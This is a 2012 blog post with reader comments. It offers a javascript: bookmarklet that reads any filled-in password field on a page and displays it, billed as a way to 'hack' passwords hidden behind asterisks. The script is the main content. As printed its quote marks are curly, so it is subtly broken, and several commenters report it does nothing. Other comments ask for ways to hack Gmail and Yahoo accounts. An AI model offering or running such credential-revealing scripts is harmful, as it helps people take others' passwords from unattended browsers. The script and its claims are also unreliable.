February 4, 2012


Password hacked…


Do you think since passwords are shown just as asterisks,they are safe???….No,it is not safe…they can be hacked,by a simple javascript…Try this out,just type login information with a password for any site in mozilla browser for signing in and then place this javascript in the address bar and click enter…THE MAGIC HAPPENS

javascript:var p=r();function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++){var x =((x)||(z(w[k].document.forms)));g=g+1;}if(!x)alert(‘Password not found in ‘+g+’ forms’);}function z(f){var b=false;for(var i=0;i<f.length;i++){var e=f[i].elements;for(var j=0;j<e.length;j++){if(h(e[j])){b=true}}}return b;}function h(ej){var s=”;if(ej.type==’password’){s=ej.value;if(s!=”){prompt(‘Password found ‘, s)}else{alert(‘Password is blank’)}return true;}}

javascript illustration

If you liked this, comment here or for any doubt just mail me…

Comments

  1. Jon Stall says:

    This is a very interesting hack… I tried this and I was flat out shocked that it worked! You know what you are talking about. Good work!

  2. Jerry says:

    Damn you’re a hacker man! And now explain us how you can run javascript code on gmail domain! Maybe you can bring this post to Blackhat

  3. div says:

    Hi,

    I tried this, but it didn´t work at all.
    Opened up gmail entered my username and 12345678 as password. Than placed in the code and hit enter. Nothing happened…

    Regards

  4. Dmitriy says:

    I can’t say it has worked for me either, at first I tried it on a forum and it said Firefox can’t open it, then I attempted it on gmail and another site and it completely did nothing.

  5. admin says:

    yes this working

  6. Joet1110 says:

    I don’t think its working for some versions of FireFox.

    Its certainly not working for the latest edition…
    Thanks

  7. Klen says:

    Keep working ,great job!

  8. barnacle says:

    that is a nice trick
    im not sure that i will run into a person dumb enough to write a pass and leave it open rather then hit enter and then go away but thanks

    ———————————————————————-

  9. Kyaw Gyi says:

    To hack gmail account.

  10. Raza Mughal says:

    u really rocks !!! :)

  11. 302 says:

    yahoo hacking .. ? any link =)) :) :) ) :D :P

  12. WannaPorn says:

    does it work with google chrome??????????????????// please tell me

Speak Your Mind

*